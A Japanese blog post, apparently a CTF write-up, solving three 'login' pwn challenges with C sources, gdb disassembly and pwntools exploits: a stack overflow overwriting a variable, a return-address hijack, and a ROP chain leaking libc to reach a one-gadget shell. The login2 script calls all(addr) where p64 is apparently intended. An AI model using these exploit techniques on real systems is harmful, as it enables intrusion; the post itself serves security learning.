ctfpwn challenge

Posted on Jul 7, 2023

ctfpwn challengeを解いていきます。解けなくても解法はまとめます。

login1

調査

IDとPasswordを入力させて、認証を行うプログラムが与えられる。

# nc localhost 10001
ID: hoge
Password: huga
Invalid ID or password
//  gcc login1.c -o login1 -fno-stack-protector -no-pie -fcf-protection=none
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char flag[0x20];

char *gets(char *s);

void setup()
{
    FILE *f = NULL;

    alarm(60);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    f = fopen("flag.txt", "rt");
    if (f == NULL) {
        printf("Failed to read flag.txt\n");
        exit(0);
    }
    fscanf(f, "%s", flag);
    fclose(f);
}

int main()
{
    char id[0x20] = "";
    char password[0x20] = "";
    int ok = 0;

    setup();

    printf("ID: ");
    gets(id);
    printf("Password: ");
    gets(password);

    if (strcmp(id, "admin") == 0 &&
        strcmp(password, flag) == 0)
        ok = 1;

    if (ok) {
        printf("Login Succeeded\n");
        printf("The flag is: %s\n", flag);
    } else
        printf("Invalid ID or password\n");
}

idpasswordがgets関数を用いて読み込まれる。gets関数は読み込み先の配列サイズを指定できないため、バッファオーバーフロー脆弱性が存在する。

objdumpで逆アセンブルしてみる。

# objdump --no-show-raw-insn -M intel -d login1
000000000040128c <main>:
...
4012f6:       lea    rax,[rbp-0x30]
4012fa:       mov    rdi,rax
4012fd:       call   401090 <gets@plt>
...
401313:       lea    rax,[rbp-0x50]
401317:       mov    rdi,rax
40131a:       call   401090 <gets@plt>
...
401354:       cmp    DWORD PTR [rbp-0x4],0x0
401358:       je     401380 <main+0xf4>

スタックの中身はこうなっている。

アドレスサイズ内容
rbp-0x500x20password
rbp-0x300x20id
rbp-0x100x0c未使用
rbp-0x40x04ok

エクスプロイト

IDに0x2c(=44)バイトより長い文字列を入力することでokを書き換えることができる。

# python3 -c "print('a'*45)"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

# nc localhost 10001
ID: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Password: hoge
Login Succeeded
The flag is: FLAG{58fd7d9bMJNTjnv5}

login2

調査

ソースコードは以下。

//  gcc login2.c -o login2 -fno-stack-protector -no-pie -fcf-protection=none
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char flag[0x20];

char *gets(char *s);

void setup()
{
    FILE *f = NULL;

    alarm(60);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    f = fopen("flag.txt", "rt");
    if (f == NULL) {
        printf("Failed to read flag.txt\n");
        exit(0);
    }
    fscanf(f, "%s", flag);
    fclose(f);
}

int main()
{
    char id[0x20] = "";
    char password[0x20] = "";

    setup();

    printf("ID: ");
    gets(id);
    printf("Password: ");
    gets(password);

    if (strcmp(id, "admin") == 0 &&
        strcmp(password, flag) == 0) {
        printf("Login Succeeded\n");
        printf("The flag is: %s\n", flag);
    } else
        printf("Invalid ID or password\n");
}

login1との差分として、ok変数が消えている。

gdb(gdb-peda)を用いてmain関数のディスアセンブルを行う。

# gdb -q login2
Reading symbols from login2...
(No debugging symbols found in login2)
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x000000000040128c <+0>:     push   rbp
   0x000000000040128d <+1>:     mov    rbp,rsp
   0x0000000000401290 <+4>:     sub    rsp,0x40
   0x0000000000401294 <+8>:     mov    QWORD PTR [rbp-0x20],0x0
   0x000000000040129c <+16>:    mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004012a4 <+24>:    mov    QWORD PTR [rbp-0x10],0x0
   0x00000000004012ac <+32>:    mov    QWORD PTR [rbp-0x8],0x0
   0x00000000004012b4 <+40>:    mov    QWORD PTR [rbp-0x40],0x0
   0x00000000004012bc <+48>:    mov    QWORD PTR [rbp-0x38],0x0
   0x00000000004012c4 <+56>:    mov    QWORD PTR [rbp-0x30],0x0
   0x00000000004012cc <+64>:    mov    QWORD PTR [rbp-0x28],0x0
   0x00000000004012d4 <+72>:    mov    eax,0x0
   0x00000000004012d9 <+77>:    call   0x4011b6 <setup>
   0x00000000004012de <+82>:    lea    rdi,[rip+0xd46]        # 0x40202b
   0x00000000004012e5 <+89>:    mov    eax,0x0
   0x00000000004012ea <+94>:    call   0x401060 <printf@plt>
   0x00000000004012ef <+99>:    lea    rax,[rbp-0x20]
   0x00000000004012f3 <+103>:   mov    rdi,rax
   0x00000000004012f6 <+106>:   call   0x401090 <gets@plt>
   0x00000000004012fb <+111>:   lea    rdi,[rip+0xd2e]        # 0x402030
   0x0000000000401302 <+118>:   mov    eax,0x0
   0x0000000000401307 <+123>:   call   0x401060 <printf@plt>
   0x000000000040130c <+128>:   lea    rax,[rbp-0x40]
   0x0000000000401310 <+132>:   mov    rdi,rax
   0x0000000000401313 <+135>:   call   0x401090 <gets@plt>
   0x0000000000401318 <+140>:   lea    rax,[rbp-0x20]
   0x000000000040131c <+144>:   lea    rsi,[rip+0xd18]        # 0x40203b
   0x0000000000401323 <+151>:   mov    rdi,rax
   0x0000000000401326 <+154>:   call   0x401080 <strcmp@plt>
   0x000000000040132b <+159>:   test   eax,eax
   0x000000000040132d <+161>:   jne    0x40136c <main+224>
   0x000000000040132f <+163>:   lea    rax,[rbp-0x40]
   0x0000000000401333 <+167>:   lea    rsi,[rip+0x2d86]        # 0x4040c0 <flag>
   0x000000000040133a <+174>:   mov    rdi,rax
   0x000000000040133d <+177>:   call   0x401080 <strcmp@plt>
   0x0000000000401342 <+182>:   test   eax,eax
   0x0000000000401344 <+184>:   jne    0x40136c <main+224>
   0x0000000000401346 <+186>:   lea    rdi,[rip+0xcf4]        # 0x402041
   0x000000000040134d <+193>:   call   0x401040 <puts@plt>
   0x0000000000401352 <+198>:   lea    rsi,[rip+0x2d67]        # 0x4040c0 <flag>
   0x0000000000401359 <+205>:   lea    rdi,[rip+0xcf1]        # 0x402051
   0x0000000000401360 <+212>:   mov    eax,0x0
   0x0000000000401365 <+217>:   call   0x401060 <printf@plt>
   0x000000000040136a <+222>:   jmp    0x401378 <main+236>
   0x000000000040136c <+224>:   lea    rdi,[rip+0xcef]        # 0x402062
   0x0000000000401373 <+231>:   call   0x401040 <puts@plt>
   0x0000000000401378 <+236>:   mov    eax,0x0
   0x000000000040137d <+241>:   leave  
   0x000000000040137e <+242>:   ret    

main関数終了時のret命令を用いて実行されるアドレスを書き換えることを行う。login1と変わらず、idpasswordがgets関数を用いて読み込まれるため、バッファオーバーフローによってスタックを書き換えることが可能。ok変数が消えたのみなのでスタックの中身は以下のようになる。main関数実行時にsub rsp,0x40を実行し0x40分だけスタックを確保しており、login1の時にあった謎の未使用領域がなくなっている(login1の時は0x50分スタックを確保していた)。

アドレスサイズ内容
rbp-0x400x20password
rbp-0x200x20id
rbp0x08rbp
rbp+0x080x08リターンアドレス

以下からリターンアドレスを0x401346に書き換えることで、idpassword照合後のprintf("Login Succeeded\n");から処理が実行される。

0x0000000000401346 <+186>:   lea    rdi,[rip+0xcf4]        # 0x402041
0x000000000040134d <+193>:   call   0x401040 <puts@plt>

エクスプロイト

48バイト適当に文字を送信した後に、リターンアドレス書き換え用のアドレスを送信する。

from pwn import *
from struct import pack

addr = 0x401346

io = remote('localhost', 10002)
payload = b'a' * 0x48
payload += all(addr)
print(io.sendafter(b"ID: ", b'\n'))
print(io.sendafter(b"Password: ", payload))
print(io.recv())
# python3 solver.py 
[+] Opening connection to localhost on port 10002: Done
b'ID: '
b'Password: '
b'Invalid ID or password\nLogin Succeeded\nThe flag is: FLAG{IxhH3hu2QZm9zOFu}\n'
[*] Closed connection to localhost port 10002

login3

調査

adminを入力するとLogin Succeededと出力されるが、flagは表示されない。

# nc localhost 10003
ID: hoge
Invalid ID
# nc localhost 10003
ID: admin
Login Succeeded

ソースコードは以下。flagが読み込まれていないため、シェルを取得することでflagを取る問題だと予想される。

//  gcc login3.c -o login3 -fno-stack-protector -no-pie -fcf-protection=none
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char *gets(char *s);

void setup()
{
    alarm(60);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

int main()
{
    char id[0x20] = "";

    setup();

    printf("ID: ");
    gets(id);

    if (strcmp(id, "admin") == 0)
        printf("Login Succeeded\n");
    else
        printf("Invalid ID\n");
}

以下、main関数を逆アセンブリしたもの。

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004011e1 <+0>:     push   rbp
   0x00000000004011e2 <+1>:     mov    rbp,rsp
   0x00000000004011e5 <+4>:     sub    rsp,0x20
   0x00000000004011e9 <+8>:     mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004011f1 <+16>:    mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004011f9 <+24>:    mov    QWORD PTR [rbp-0x10],0x0
   0x0000000000401201 <+32>:    mov    QWORD PTR [rbp-0x8],0x0
   0x0000000000401209 <+40>:    mov    eax,0x0
   0x000000000040120e <+45>:    call   0x401176 <setup>
   0x0000000000401213 <+50>:    lea    rdi,[rip+0xdea]        # 0x402004
   0x000000000040121a <+57>:    mov    eax,0x0
   0x000000000040121f <+62>:    call   0x401040 <printf@plt>
   0x0000000000401224 <+67>:    lea    rax,[rbp-0x20]
   0x0000000000401228 <+71>:    mov    rdi,rax
   0x000000000040122b <+74>:    call   0x401070 <gets@plt>
   0x0000000000401230 <+79>:    lea    rax,[rbp-0x20]
   0x0000000000401234 <+83>:    lea    rsi,[rip+0xdce]        # 0x402009
   0x000000000040123b <+90>:    mov    rdi,rax
   0x000000000040123e <+93>:    call   0x401060 <strcmp@plt>
   0x0000000000401243 <+98>:    test   eax,eax
   0x0000000000401245 <+100>:   jne    0x401255 <main+116>
   0x0000000000401247 <+102>:   lea    rdi,[rip+0xdc1]        # 0x40200f
   0x000000000040124e <+109>:   call   0x401030 <puts@plt>
   0x0000000000401253 <+114>:   jmp    0x401261 <main+128>
   0x0000000000401255 <+116>:   lea    rdi,[rip+0xdc3]        # 0x40201f
   0x000000000040125c <+123>:   call   0x401030 <puts@plt>
   0x0000000000401261 <+128>:   mov    eax,0x0
   0x0000000000401266 <+133>:   leave  
   0x0000000000401267 <+134>:   ret 

libcバイナリが与えられており、One-gadget RCE(実行を移すのみで/bin/shが起動するガジェット)に実行を移すことでシェルを取得するのだと予想される。しかし、ASLRがあるため共有ライブラリやスタックの位置は実行する度にランダムに変更される。なお、実行ファイルのPIEは無効になっているため、実行ファイルの位置はランダム化されない。

# checksec login3
[*] '/ctf/login3/login3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ASLRを回避するためには、printf関数などのlibc中のシンボルのアドレスを得ることで、One-gadget RCEのアドレスを算出することが必要らしい。以下のprintf関数の呼び出し部分に着目する。

gdb-peda$ disassemble printf    
Dump of assembler code for function printf@plt:
   0x0000000000401040 <+0>:     jmp    QWORD PTR [rip+0x2fda]        # 0x404020 <printf@got.plt>
   0x0000000000401046 <+6>:     push   0x1
   0x000000000040104b <+11>:    jmp    0x401020

gdb-peda$ disassemble main
...
   0x000000000040121f <+62>:    call   0x401040 <printf@plt>
   0x0000000000401224 <+67>:    lea    rax,[rbp-0x20]

0x40121fの最初のprintf関数の呼び出し前後のrip+0x2fda(0x404020)の中身を出力すると、0x401040の呼び出し直前にlibc中のprintf関数のアドレスが格納され、0x401040の呼び出しと同時にlibc中のprintf関数にjmpすることがわかる。

# gdb -q login3
Reading symbols from login3...
(No debugging symbols found in login3)
gdb-peda$ b *0x40121f
Breakpoint 1 at 0x40121f
gdb-peda$ r
gdb-peda$ x/1xg 0x404020
0x404020 <printf@got.plt>:      0x0000000000401046
gdb-peda$ ni
gdb-peda$ x/1xg 0x404020
0x404020 <printf@got.plt>:      0x00007ffff7e31c90

このprintf関数のアドレスを出力するためにputs(printf)を実行することを目指す。これはlogin3のPLTのputs関数(0x401030)を実行することで可能。X64ではrdiレジスタがputs関数の第一引数となるため、スタックからrdiに値を取り出すpop rdiを探す。検索にはgdb-pedaのdumpropが使用可能。

# gdb -q login3
Reading symbols from login3...
(No debugging symbols found in login3)
gdb-peda$ start
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: login3-rop.txt ...
0x40115e: ret
0x40125d: iret
0x4010c3: cli; ret
...
0x40115d: pop rbp; ret
0x4012d3: pop rdi; ret

0x4012d3pop rdiが存在する。dumpropコマンドは直後にretがある命令だけを探すため、pop rdiの直後にrdiに格納するためのアドレス0x404020を配置し、その後にputs関数のアドレスを配置しておけばretによってputs関数が呼び出される。

puts関数によってlibc中のprintf関数のアドレスが得られると、再度main関数を呼び出し、スタックオーバーフローを行うことでOne-gadget RCEを実行する。

エクスプロイト

実行時のスタックの状態は以下。

アドレスサイズ内容
rbp-0x200x20id
rbp0x08rbp
rbp+0x80x08リターンアドレス

1回目の実行後のスタックの状態は以下。

アドレスサイズ内容
rbp-0x200x20aaa…id
rbp0x08aaa…適当
rbp+0x80x080x4012d3pop rdi; ret
rbp+0x100x080x404020libc中のprintfのアドレスが格納されるアドレス
rbp+0x180x080x401030PLTのputs関数のアドレス
rbp+0x200x080x4011e1main関数のアドレス

2回目の実行後のスタックの状態は以下のようになる。

アドレスサイズ内容
rbp-0x200x20aaa…id
rbp0x08aaa…適当
rbp+0x80x08正確なOne-Gadget RCEのアドレス

配布されたlibc-2.31.soを用いて、printf関数とOne-gadget RCEのアドレスを調べる。

# objdump -T libc-2.31.so | grep 'printf'
...
0000000000064e10 g    DF .text  00000000000000cc  GLIBC_2.2.5 printf
...

# one_gadget libc-2.31.so 
0xe6aee execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

最終的なsolverは以下のようになる。One-gadget RCEのアドレスは0xe6af1が有効であった。

from pwn import *

# 各アドレスと値を設定
pop_rdi_ret = 0x4012d3
printf_libc_addr = 0x404020
puts_plt_addr = 0x401030
main_func_addr = 0x4011e1

# libc内のprintfとone_gadget RCEのアドレス
libc_printf_addr = 0x64e10
one_gadget_addr_offset = 0xe6af1

# ペイロードを作成 (libcのprintfアドレスをリークするため)
payload = b'a' * (0x20 + 0x8)
payload += p64(pop_rdi_ret)     # rbp+0x08
payload += p64(printf_libc_addr) # rbp+0x10
payload += p64(puts_plt_addr)    # rbp+0x18
payload += p64(main_func_addr)   # rbp+0x20

# pwntoolsを使用して接続
io = remote('localhost', 10003)
print(io.sendlineafter(b'ID: ', payload))

# printfのリークされたアドレスを受け取る
io.recvuntil(b'\n')
data = io.recvuntil(b'\n', drop=True)
leaked_printf_addr = u64(data.ljust(8, b'\0'))

# libcのベースアドレスを計算
libc_base_addr = leaked_printf_addr - libc_printf_addr

# one_gadgetの実際のアドレスを計算
one_gadget_addr = libc_base_addr + one_gadget_addr_offset

print(f"Leaked printf address: {hex(leaked_printf_addr)}")
print(f"Libc base address: {hex(libc_base_addr)}")
print(f"One gadget RCE address: {hex(one_gadget_addr)}")

# 新しいペイロードを作成して実行をone_gadgetに移す
payload = b'a' * (0x20 + 0x8)
payload += p64(one_gadget_addr)

print(io.sendlineafter(b'ID: ', payload))
io.interactive()
# python3 solver.py
[+] Opening connection to localhost on port 10003: Done
b'ID: '
Leaked printf address: 0x7f6f2f9e7e10
Libc base address: 0x7f6f2f983000
One gadget RCE address: 0x7f6f2fa69af1
b'ID: '
[*] Switching to interactive mode
Invalid ID
$ id
uid=1003(login3) gid=1003(login3) groups=1003(login3)
$ ls
flag.txt
login3
login3.sh
$ cat flag.txt
FLAG{vOvF4gQyzrRq50eH}